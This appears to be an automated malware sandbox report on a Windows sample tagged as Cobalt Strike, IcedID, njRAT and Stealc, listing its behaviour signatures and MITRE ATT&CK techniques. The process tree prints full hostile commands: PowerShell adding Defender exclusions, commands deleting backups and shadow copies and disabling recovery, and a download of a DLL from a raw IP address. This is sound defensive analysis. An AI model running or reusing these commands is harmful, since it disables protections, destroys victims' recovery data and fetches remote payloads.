Overview

overview

10

Static

static

3

2026-08-08...lc.exe

windows10-2004-x64

10

2026-08-08...lc.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 08:52

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-08_77513df0fb7c995b5a7d3dd53dfbb84f_cobalt-strike_icedid_njrat_satacom_stealc.exe
  • Size 16.3MB
  • Sample260808-kspg2acm3t
  • SHA256 ea42e17f46a674829d659f109c3ec626fa32edebccfdf176971231fb2530fb62
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionimpactpersistenceransomwaretrojan

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Deletes system backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 10 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • System policy modification 1 TTPs 1 IoCs
    defense_evasion
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-08_77513df0fb7c995b5a7d3dd53dfbb84f_cobalt-strike_icedid_njrat_satacom_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-08_77513df0fb7c995b5a7d3dd53dfbb84f_cobalt-strike_icedid_njrat_satacom_stealc.exe"
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1728
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3836
        • C:\Windows\system32\ReAgentc.exe
          reagentc /disable
          4⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:4716
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete backup -backupTarget:C: -allVersions -quiet
          4⤵
          • Deletes system backups
          • Drops file in Windows directory
          PID:4592
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4796
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete backup -backupTarget:D: -allVersions -quiet
          4⤵
          • Deletes system backups
          • Drops file in Windows directory
          PID:4548
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2584
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:2116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/taskmgr.dll' -OutFile 'C:\Users\Admin\AppData\Local\Temp\taskmgr.dll'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3420
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2824

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        3
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Windows Management Instrumentation

        1
        T1047

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Winlogon Helper DLL

        1
        T1547.004

        Privilege Escalation

        Abuse Elevation Control Mechanism

        1
        T1548

        Bypass User Account Control

        1
        T1548.002

        Boot or Logon Autostart Execution

        1
        T1547

        Winlogon Helper DLL

        1
        T1547.004

        Defense Evasion

        Abuse Elevation Control Mechanism

        1
        T1548

        Bypass User Account Control

        1
        T1548.002

        Direct Volume Access

        1
        T1006

        Impair Defenses

        1
        T1562

        Disable or Modify Tools

        1
        T1562.001

        Indicator Removal

        3
        T1070

        File Deletion

        3
        T1070.004

        Modify Registry

        3
        T1112

        Credential Access

        Discovery

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Inhibit System Recovery

        3
        T1490

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 d3513adf7745536243601bdbfa9a58bf56f9bb535e497086128dc0afd4485891
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 77eed89a91616b533054466539f2e985c92aee2e21110a8bea29b0b353b87ba4
        • MD5 SHA1 SHA512
        Submit Download

        __PSScriptPolicyTest_cjdzjilj.dlb.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cjdzjilj.dlb.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2556-0-0x000001B7311B0000-0x000001B7311C0000-memory.dmp
        Download

        memory/2556-8-0x000001B718F90000-0x000001B718FB2000-memory.dmp
        Download